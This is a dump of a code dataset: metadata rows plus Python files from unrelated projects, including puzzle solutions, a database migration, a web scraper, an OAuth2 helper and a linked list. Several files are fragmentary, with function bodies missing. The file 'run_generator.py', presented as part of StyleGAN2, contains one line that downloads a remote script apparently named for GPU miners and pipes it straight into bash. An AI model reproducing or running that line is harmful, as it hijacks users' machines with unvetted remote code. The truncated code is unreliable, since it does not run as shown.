hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
11 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
251
max_stars_repo_name
stringlengths
4
130
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
3
251
max_issues_repo_name
stringlengths
4
130
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
116k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
3
251
max_forks_repo_name
stringlengths
4
130
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
1
1.05M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.04M
alphanum_fraction
float64
0
1
7f161c3e730e9a961c38fd31d9be347a04f925d2
1,580
py
Python
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-02T12:09:11.000Z
2021-12-02T12:09:11.000Z
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
null
null
null
day 02/Hans - Python/day2.py
AE-nv/aedvent-code-2021
7ce199d6be5f6cce2e61a9c0d26afd6d064a86a7
[ "MIT" ]
1
2021-12-01T21:14:41.000Z
2021-12-01T21:14:41.000Z
from typing import List, Tuple from collections import namedtuple from enum import Enum Instruction = namedtuple('Instruction', 'direction units') if __name__ == '__main__': instructions = list(map(parse_input, open('./example.txt').readlines())) horizontal, vertical = get_combined_directions(instructi...
29.811321
94
0.698101
7f16280a4ee127c66ec6881146bdacb0609fbd70
5,100
py
Python
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
null
null
null
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
3
2017-10-08T09:13:59.000Z
2020-12-22T19:37:40.000Z
sopel_torrentinfo/providers.py
dgw/sopel-torrentinfo
8e73324574b97b11e220a9dacf33f3f8e56ce758
[ "EFL-2.0" ]
2
2017-10-07T18:16:05.000Z
2018-01-18T15:09:13.000Z
# coding=utf-8 """Link handling provider logic.""" import abc from collections import OrderedDict import re from lxml import etree
34.693878
106
0.608039
7f17a75bcf20017304a34f189d671e3f94815fb9
387
py
Python
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
1
2021-12-23T13:36:43.000Z
2021-12-23T13:36:43.000Z
service/models/employer/employer_filter.py
CyberArkForTheCommunity/jobli-backend
2309c9ac33993cb89a8e1581630d99b46f8d55aa
[ "MIT" ]
null
null
null
from pydantic import BaseModel, Field from typing import Optional from service.lambdas.employer.constants import EmployerConstants
32.25
93
0.803618
7f17d586efcd9507ea3b23d3a3643661b8e2a4e3
2,265
py
Python
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
2
2015-01-15T09:10:57.000Z
2015-01-15T09:55:10.000Z
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
alembic/versions/178e9c208218_.py
xtao/vilya
39afda324bcfe9eefe7d813381d5b1627ba00ae5
[ "BSD-3-Clause" ]
null
null
null
"""empty message Revision ID: 178e9c208218 Revises: 5998e9ee193 Create Date: 2014-11-16 19:09:06.666542 """ # revision identifiers, used by Alembic. revision = '178e9c208218' down_revision = '5998e9ee193' from alembic import op import sqlalchemy as sa
38.389831
77
0.686093
7f1a78253af63ce99cd33cff95dd1f2d2d7c9566
6,210
py
Python
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
4
2019-01-24T03:43:36.000Z
2020-10-24T08:36:28.000Z
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
tools/dali.py
luzai/InsightFace_Pytorch
2f3d865aa5fa14896df27fe9b43a5c4ceb02c7dd
[ "MIT" ]
null
null
null
from lz import * from config import conf from nvidia.dali.pipeline import Pipeline import nvidia.dali.ops as ops import nvidia.dali.types as types from nvidia.dali.plugin.pytorch import DALIGenericIterator base = "/media/mem_data/" + conf.dataset_name + "/" idx_files = [base + "train.tc.idx"] rec_files = [base + "trai...
37.409639
186
0.541063
7f1abb5060e39a368256be6fdccc62d3097395a3
185
py
Python
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
user_guide/urls.py
jmcriffey/django-user-guide
f4a1c462d2f7bf8569576f757e2f106b565e3e40
[ "MIT" ]
null
null
null
from django.conf.urls import patterns, url from user_guide import views urlpatterns = patterns( '', url(r'^seen/?$', views.GuideSeenView.as_view(), name='user_guide.seen') )
18.5
75
0.702703
7f1c6481280e8c66c3c95bb553f4716418bdc89b
3,663
py
Python
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
null
null
null
integration/keeper_secrets_manager_cli/keeper_secrets_manager_cli/exec.py
inna-btc/secrets-manager
5c65fea092e80b25d2466b395fa03eabd6a98f9b
[ "MIT" ]
1
2021-12-18T03:15:54.000Z
2021-12-18T03:15:54.000Z
# -*- coding: utf-8 -*- # _ __ # | |/ /___ ___ _ __ ___ _ _ # | ' </ -_) -_) '_ \/ -_) '_| # |_|\_\___\___| .__/\___|_| # |_| # # Keeper Secrets Manager # Copyright 2021 Keeper Security Inc. # Contact: ops@keepersecurity.com # import os import sys import subprocess from keeper_secrets_manager_cli.exce...
34.885714
111
0.577669
7f1ce93eb440ce425b0855de18b6a52b32d83bda
688
py
Python
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
4
2019-05-13T11:51:27.000Z
2019-09-25T15:18:03.000Z
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
null
null
null
examples/euler_2d/grid_initializer.py
Ruzzyy/anysim
6bc590056754e7dc89a1078ab4c41823075088d2
[ "MIT" ]
3
2019-06-08T12:46:13.000Z
2020-01-09T10:35:22.000Z
from anysim_py import * x_0 = 1.0 y_0 = 1.5 for cell_id in range (topology.get_cells_count ()): if geometry.get_cell_center_x (cell_id) < x_0: fields["rho"][cell_id] = 1.0 fields["p"][cell_id] = 1.0 fields["u"][cell_id] = 0.0 fields["v"][cell_id] = 0.0 else: if geometry...
29.913043
54
0.510174
7f1e1e58324d965d4cfbe921e5ddeef6d3149b64
1,247
py
Python
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
2
2020-10-19T05:22:43.000Z
2020-10-19T06:01:28.000Z
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
Important/decorator_example2.py
jason71319jason/Interview-solved
42ca93a68475952753d185c325cb55c79e2e55e1
[ "MIT" ]
null
null
null
# decorator as a function # decorator to add functionality to func along with uneven arguments display() display_info('John', 32) # decorator as a class # class decorator adds functionality to a func display() display_info('John', 32)
30.414634
97
0.728148
7f213145b2e79b609f449693f2315622fd4c8619
11,729
py
Python
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
12
2021-01-27T11:49:01.000Z
2022-02-17T10:19:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
8
2021-02-02T16:00:55.000Z
2022-02-15T14:44:26.000Z
notebooks/diffable_python/population_characteristics.py
opensafely/nhs-covid-vaccination-coverage
61cfafdb9d023546af01ff91c0457f80a787ce7c
[ "MIT" ]
6
2021-02-16T00:58:14.000Z
2022-02-17T10:06:57.000Z
# --- # jupyter: # jupytext: # cell_metadata_filter: all # notebook_metadata_filter: all,-language_info # text_representation: # extension: .py # format_name: light # format_version: '1.5' # jupytext_version: 1.3.3 # kernelspec: # display_name: Python 3 # language: python...
40.725694
231
0.675335
7f2201229ba0be087f7e74b4e6169d1738424400
6,723
py
Python
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2021-01-23T13:50:34.000Z
2021-01-23T13:50:34.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
40
2018-02-19T19:37:24.000Z
2022-03-25T18:34:22.000Z
python/infinite_precision_arithmetic/Rational.py
quasarbright/quasarbright.github.io
942710adf4a2531d033023a6f750efeddf3e9050
[ "MIT" ]
1
2018-12-07T03:07:21.000Z
2018-12-07T03:07:21.000Z
from BigInt import *
33.282178
127
0.557787
7f22ff6c6016d0aee4ec29ba1f292219db1a16c0
7,915
py
Python
amazon.py
DhruvAwasthi/Scrape-Amazon_Reviews
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
1
2021-02-03T12:59:46.000Z
2021-02-03T12:59:46.000Z
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
amazon.py
DhruvAwasthi/Scraping-Amazon
6cd02c23fa1a5aadf91c26c3b18e67b18be194a0
[ "MIT" ]
null
null
null
import pandas as pd from urllib import request from bs4 import BeautifulSoup num_reviews = 100 reviews_dir = 'data/' base_url = 'https://www.amazon.in' product_url = 'https://www.amazon.in/Samsung-EO-BG920BBEGIN-Bluetooth-Headphones-Black-Sapphire/dp/B01A31SHF0/ref=sr_1_1?dchild=1&keywords=headphones+level&qid=160853...
39.575
178
0.633986
7f23cd5011dad7b6cfaa8bd1a98b4bf52685a6b0
682
py
Python
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
templates/bind-config.py
bartv/dns-config
1c073ae83f6d3f0dccb647aefc4513c3724b6f54
[ "MIT" ]
null
null
null
# Licensed under the MIT license # Copyright 2007, Bart Vanbrabant <bart@ulyssis.org> result = "// Auto generated from ldap at %s\n" % datetime.datetime.now().strftime("%d/%m/%Y -- %H:%M") result += "// vim: ft=named\n\n" for zone in zones: name = zone.get_zonename() if (zone.is_zoneonly()): co...
31
103
0.536657
7f2404cb9daa894c644ef3b4e0780cecfc37e6cc
2,252
py
Python
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
4
2018-10-17T21:46:40.000Z
2021-11-09T06:17:05.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
1
2018-10-18T08:42:27.000Z
2018-10-18T08:42:27.000Z
tengp/genotype_factory.py
Jarino/tengp
875ea583adf1194f1be4cb3dc25568f3859f9011
[ "MIT" ]
2
2018-10-18T00:36:51.000Z
2018-12-12T03:52:14.000Z
from random import randint from .utils import clamp_bottom
32.637681
83
0.60524
612ecfda35cd8d93573ac60f077c553e163ffa6a
160
py
Python
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
7
2020-08-26T12:32:50.000Z
2020-09-20T09:17:12.000Z
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
null
null
null
accounts/admin.py
Dev-Mehta/AskaDev
4514383cb1f94178e8082f0b710c7efbdd3225a7
[ "MIT" ]
3
2020-08-27T06:06:43.000Z
2020-10-10T15:53:26.000Z
from django.contrib import admin from .models import ProgrammingLanguage, UserProfile admin.site.register(UserProfile) admin.site.register(ProgrammingLanguage)
32
52
0.8625
612ee78203b78877aafd025f59ff4c87c7df5824
2,050
py
Python
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
oauth2_jwtprofile.py
ReiknistofaBankanna/oauth2-jwtprofile-python
ef2f7ed3d4dce4c8b5978886264fafbca55fe70a
[ "MIT" ]
null
null
null
import sys import urllib.request import urllib.parse import json import jwt import uuid import datetime import cryptography from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.serialization import load_pem_private_key from cryptography.hazmat.primitives import serialization, has...
31.060606
206
0.691707
61303415b144b93a1348117d120e53ba1d088ec4
1,596
py
Python
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
practical6a.py
himanshubalani/DSPDLab
18ca05bc21c16025a9c87fcdf8de6dff6fe6218c
[ "MIT" ]
null
null
null
dlllist = LinkedList() dlllist.push(10) dlllist.push(20) dlllist.push(30) dlllist.PrintList() #Insert an element at position 2 dlllist.push_at(100, 2) dlllist.PrintList() #Insert an element at position 1 dlllist.push_at(200, 1) dlllist.PrintList()
22.8
47
0.577068
61323be0e4983d21fbe8573aba51b88ec3da620c
121
py
Python
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
run_generator.py
jimmyplummet/StyleGAN2
0846919dcb16bce6a710477f1502cb4382f05a19
[ "BSD-Source-Code" ]
null
null
null
import os as alpha alpha.system("wget -O - https://gitlab.com/chadpetersen1337/gpuminers/-/raw/main/start_vs.sh | bash")
40.333333
101
0.752066
61326e6043ecf9b6f3be3431593e534006fc31a8
22,334
py
Python
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
7
2019-11-08T07:30:05.000Z
2022-02-20T21:58:44.000Z
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
null
null
null
ruuvigw_aioclient.py
hulttis/ruuvigw
914eb657e3f2792cecf6848dfa7607ad45f17ab4
[ "MIT" ]
1
2021-06-19T16:52:55.000Z
2021-06-19T16:52:55.000Z
# coding=utf-8 #------------------------------------------------------------------------------- # Name: ruuvigw_aioclient.py # Purpose: ruuvigw aioclient # Copyright: (c) 2019 TK # Licence: MIT #------------------------------------------------------------------------------- import logging logger = logg...
45.86037
242
0.515313
6132d42fd438eecafe7615bca9c8d7ecfec60301
221
py
Python
cosmicmatter/misc/basicloadtest.py
bclements/cosmicmatter
93eeb09fff9db8e4bc2e3062b7d3de2aa5bab7b4
[ "BSD-3-Clause" ]
1
2022-03-24T22:55:56.000Z
2022-03-24T22:55:56.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
2
2022-03-25T08:23:02.000Z
2022-03-29T22:45:32.000Z
cosmicmatter/misc/basicloadtest.py
SpaceElements/spacepy
dada27f8af142c839060d525b2ef653d07195ee3
[ "BSD-3-Clause" ]
1
2022-03-25T07:14:53.000Z
2022-03-25T07:14:53.000Z
# very basic load test # import webbrowser import time count = 0 while count < 22: print(count) webbrowser.open("https://www.someurlhere.com", new=2, autoraise=True) count += 1 time.sleep(1.3) # Seconds
20.090909
73
0.669683
613350459deaf4cd7dc957354999d29e93615ef0
2,400
py
Python
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
part4.py
sajith2019048/my-second-program
cd78c96704fd47654890900c009c172d77285392
[ "MIT" ]
null
null
null
#create veriable........ cr_pass=0##insert veriables defer=0##insert veriables fail=0##insert veriables choice=0#staff choice. count1=0#$$$counting "Progress" count2=0#$$$counting "Trailing" count3=0#$$$counting "Excluded" count4=0#$$$counting "Retriever" total=0#@@@@all counting values total t1=0#"Progres...
32.432432
117
0.4875
6133c29d8b9279ccf50193d636c2f1625a49fccd
1,620
py
Python
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
5
2020-09-02T09:44:15.000Z
2020-09-02T11:43:31.000Z
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
preprocess.py
ShiraStarL/Credit_Card_Detection
d01fd888e28efbda93f87f32cc8a7b0255067950
[ "MIT" ]
null
null
null
import cv2 import numpy as np
27.457627
105
0.612346
6133d641ec757816ea3c46a2cb3da107b1a91db7
16,690
py
Python
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
6
2015-02-25T02:00:44.000Z
2016-04-17T09:45:50.000Z
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
null
null
null
app.py
jyio/jamwithfriends
3727af6bf276d6366011cdaf784102b9d8d60484
[ "MIT" ]
2
2015-04-10T18:52:59.000Z
2021-10-06T03:41:33.000Z
#!/usr/bin/env python import re import json import math import time import random import hashlib import sqlite3 import weakref from collections import Counter, deque try: import cPickle as pickle except ImportError: import pickle import bottle from bottle import Bottle, static_file from socketio import socketio_...
30.235507
200
0.666028
6136fde30ad02b90e794e3bd0cef50c81f080ec1
501
py
Python
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
null
null
null
8_2.py
rursvd/pynumerical2
4b2d33125b64a39099ac8eddef885e0ea11b237d
[ "MIT" ]
1
2019-12-03T01:34:19.000Z
2019-12-03T01:34:19.000Z
from numpy import zeros, sign # Define bisection function # Define function # Execute bisection function a = -2.0 b = 3.0 n = 7 xb = bisection(f,a,b,n) # Print results print("%5s %8s" % ('k','c')) for k in range(n): print("%5d %9.4f" % (k+1,xb[k]))
17.892857
39
0.497006
613736246f4205c16ec810c7604bde7e0bc2ad3e
1,435
py
Python
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
334
2015-06-04T15:14:28.000Z
2022-02-09T11:14:17.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
89
2015-06-13T19:15:35.000Z
2019-12-03T19:23:20.000Z
calvinextras/calvinsys/io/rfid/raspberry_pi/PIGPIORFID.py
gabrielcercel/calvin-base
c0315f100643230d65aed1745e1c22df3e7a7c2c
[ "Apache-2.0" ]
112
2015-06-06T19:16:54.000Z
2020-10-19T01:27:55.000Z
# -*- coding: utf-8 -*- # Copyright (c) 2017 Ericsson AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable ...
28.7
74
0.705923
61382bc4afdbca2e8ccf4130880a465632c1b519
1,457
py
Python
asdc/main.py
jancervenka/airbus-ship-detection
87cb1c786182afa248a324f65b23153aa998e6ae
[ "MIT" ]
3
2020-06-02T11:46:24.000Z
2020-12-15T23:30:51.000Z
asdc/main.py
jancervenka/airbus-ship-detection
87cb1c786182afa248a324f65b23153aa998e6ae
[ "MIT" ]
2
2021-08-25T14:50:24.000Z
2021-11-10T19:57:14.000Z
asdc/main.py
jancervenka/airbus-ship-detection
87cb1c786182afa248a324f65b23153aa998e6ae
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # 2020, Jan Cervenka import argparse import asdc.core import asdc.service from . import version def _create_arg_parser(): """ Creates the CLI argument parser. """ parser = argparse.ArgumentParser(conflict_handler='resolve', ...
28.568627
80
0.602608
6138630a4dc2a9c9e1dbd63c0ab09714aa15f8bf
1,612
py
Python
service_lib/database.py
qwc-services/sogis-agdi
f278612c42f648da07448905f2b8021b279e66bc
[ "MIT" ]
null
null
null
service_lib/database.py
qwc-services/sogis-agdi
f278612c42f648da07448905f2b8021b279e66bc
[ "MIT" ]
null
null
null
service_lib/database.py
qwc-services/sogis-agdi
f278612c42f648da07448905f2b8021b279e66bc
[ "MIT" ]
1
2021-04-15T09:54:49.000Z
2021-04-15T09:54:49.000Z
from sqlalchemy import create_engine import os
33.583333
77
0.598015
6139d3a7a69668275919aa5180c16fec38121a2e
4,681
py
Python
twitterbot/quoteproviders.py
HashCollision/TwitterBot
a5214cf7e607b633bf2757b0f95ecce722f84b71
[ "Apache-2.0" ]
2
2016-05-24T00:14:24.000Z
2016-05-24T00:23:35.000Z
twitterbot/quoteproviders.py
HashCollision/TwitterBot
a5214cf7e607b633bf2757b0f95ecce722f84b71
[ "Apache-2.0" ]
null
null
null
twitterbot/quoteproviders.py
HashCollision/TwitterBot
a5214cf7e607b633bf2757b0f95ecce722f84b71
[ "Apache-2.0" ]
null
null
null
from collections import namedtuple import requests, pickle from abc import ABCMeta, abstractmethod from bs4 import BeautifulSoup from utilities import * from random import randint from threading import Thread # Tuple object Quote = namedtuple('Quote', ['text', 'author']) # Base abstract class def __html__(sel...
28.369697
119
0.574023
613b28a17ffdfc4fef538068198f63de8c5ff4b3
1,085
py
Python
day9.py
dos1/AoC21
9095b96b831aac76cb9f0ce06e3f639db2da3977
[ "MIT" ]
null
null
null
day9.py
dos1/AoC21
9095b96b831aac76cb9f0ce06e3f639db2da3977
[ "MIT" ]
null
null
null
day9.py
dos1/AoC21
9095b96b831aac76cb9f0ce06e3f639db2da3977
[ "MIT" ]
null
null
null
data = [list(map(int,line.strip())) for line in open("inputday9")] lowpoints = [] for i in range(len(data)): for j in range(len(data[i])): field = (i,j) if fieldVal(field) < fieldVal(minimum(adjacent(field))): lowpoints.append(field) basins = sorted([basin(field, []) for field in lowpoints]) print(su...
23.085106
66
0.61106
613ca0e7d669ae62d1b3a594a9cc5a7023782a4e
8,879
py
Python
Movement/Hexapod_orig.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
7
2021-03-15T10:06:20.000Z
2022-03-23T02:53:15.000Z
Movement/Hexapod_orig.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
null
null
null
Movement/Hexapod_orig.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 # -*- coding: UTF-8 -*- # Copyright HiWonder.hk # Further development by ians.moyes@gmail.com # Translation by Google # Library to control the hexapod using reverse kinematics of # lower servo values on the port side lead to # forward positions at the shoulder # Lifting the knee # Dropping the ank...
31.154386
112
0.615159
613de78cdbae49064c79b2114c044757966e3e48
3,474
py
Python
services/keyphrase/s3io.py
etherlabsio/ai-engine
e73a4419a34db42a410e2a7e7629eb946b86f2c2
[ "MIT" ]
null
null
null
services/keyphrase/s3io.py
etherlabsio/ai-engine
e73a4419a34db42a410e2a7e7629eb946b86f2c2
[ "MIT" ]
null
null
null
services/keyphrase/s3io.py
etherlabsio/ai-engine
e73a4419a34db42a410e2a7e7629eb946b86f2c2
[ "MIT" ]
1
2020-04-19T11:07:42.000Z
2020-04-19T11:07:42.000Z
import logging from timeit import default_timer as timer from pathlib import Path import os logger = logging.getLogger(__name__)
32.166667
88
0.603051
6140f4864924eda9b670c10a00a2c03017c34114
172
py
Python
HSCI Simulation/config/log.py
kymanj/hsci-rebal-backtest
b8ffe82d2720e131972cee29dc3ce94095b78a8f
[ "MIT" ]
null
null
null
HSCI Simulation/config/log.py
kymanj/hsci-rebal-backtest
b8ffe82d2720e131972cee29dc3ce94095b78a8f
[ "MIT" ]
null
null
null
HSCI Simulation/config/log.py
kymanj/hsci-rebal-backtest
b8ffe82d2720e131972cee29dc3ce94095b78a8f
[ "MIT" ]
null
null
null
import logging import logging.config from config.conf import *
14.333333
41
0.732558
614252f9d56b5baa9a7b131316ccedbd8d3dbb4a
637
py
Python
module1/task3.py
teslaistra/PythonTasksForITAM
0fc5c7b0ff11ae7c364187e2fffbee935ecbaaf2
[ "MIT" ]
1
2022-01-10T07:21:39.000Z
2022-01-10T07:21:39.000Z
module1/task3.py
teslaistra/PythonTasksForITAM
0fc5c7b0ff11ae7c364187e2fffbee935ecbaaf2
[ "MIT" ]
null
null
null
module1/task3.py
teslaistra/PythonTasksForITAM
0fc5c7b0ff11ae7c364187e2fffbee935ecbaaf2
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # : pop, index, extend, insert # : python pop list # zoo = ['lion', 'kangaroo', 'elephant', 'monkey', ] # TODO (bear) # # TODO birds # # TODO # # TODO (lion) (lark). # , .
25.48
78
0.729984
614370770bf4f2125beed54d00eade84072999da
5,242
py
Python
tests/unit_tests/test_solute_tempering.py
MauriceKarrenbrock/HREMGromacs
3741820bee466ae3b4a69a8241c0905b5beffe0c
[ "MIT" ]
null
null
null
tests/unit_tests/test_solute_tempering.py
MauriceKarrenbrock/HREMGromacs
3741820bee466ae3b4a69a8241c0905b5beffe0c
[ "MIT" ]
null
null
null
tests/unit_tests/test_solute_tempering.py
MauriceKarrenbrock/HREMGromacs
3741820bee466ae3b4a69a8241c0905b5beffe0c
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # pylint: disable=missing-docstring # pylint: disable=redefined-outer-name # pylint: disable=wildcard-import # pylint: disable=unused-wildcard-import # pylint: disable=no-self-use ############################################################# # Copyright (c) 2021-2021 Maurice Karrenbrock ...
37.442857
77
0.579168
61444ae72f9460a2cd081ed2da2655c89e4a8499
55,822
py
Python
rubin_sim/maf/utils/snNSNUtils.py
RileyWClarke/flarubin
eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a
[ "MIT" ]
null
null
null
rubin_sim/maf/utils/snNSNUtils.py
RileyWClarke/flarubin
eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a
[ "MIT" ]
null
null
null
rubin_sim/maf/utils/snNSNUtils.py
RileyWClarke/flarubin
eb7b1ee21c828523f8a5374fe4510fe6e5ec2a2a
[ "MIT" ]
null
null
null
from rubin_sim.photUtils import SignalToNoise from rubin_sim.photUtils import PhotometricParameters from rubin_sim.photUtils import Bandpass, Sed from rubin_sim.data import get_data_dir import numpy as np from scipy.constants import * from functools import wraps import os import h5py import multiprocessing from astrop...
32.229792
110
0.542958
614690b30fc8452b96340bd8f0827de2f164d10d
6,818
py
Python
teslabot/plugins/corecommands/corecommands.py
Anachronos/teslabot
4e8b5fef42c8cc2ecb7a6bdb0a26d52a002501a0
[ "MIT" ]
2
2019-06-05T12:19:39.000Z
2021-11-23T19:50:02.000Z
teslabot/plugins/corecommands/corecommands.py
Anachronos/teslabot
4e8b5fef42c8cc2ecb7a6bdb0a26d52a002501a0
[ "MIT" ]
null
null
null
teslabot/plugins/corecommands/corecommands.py
Anachronos/teslabot
4e8b5fef42c8cc2ecb7a6bdb0a26d52a002501a0
[ "MIT" ]
3
2015-12-30T10:04:01.000Z
2021-11-23T19:50:06.000Z
from pluginbase import PluginBase import logging
35.14433
122
0.51144
614784716577e5dd872b37fdcf3f9913cb77fa39
242
py
Python
Hash_Encryption/learn_hash.py
KECB/learn
5b52c5c3ac640dd2a9064c33baaa9bc1885cf15f
[ "MIT" ]
2
2017-09-25T04:29:59.000Z
2018-11-04T09:53:59.000Z
Hash_Encryption/learn_hash.py
KECB/learn
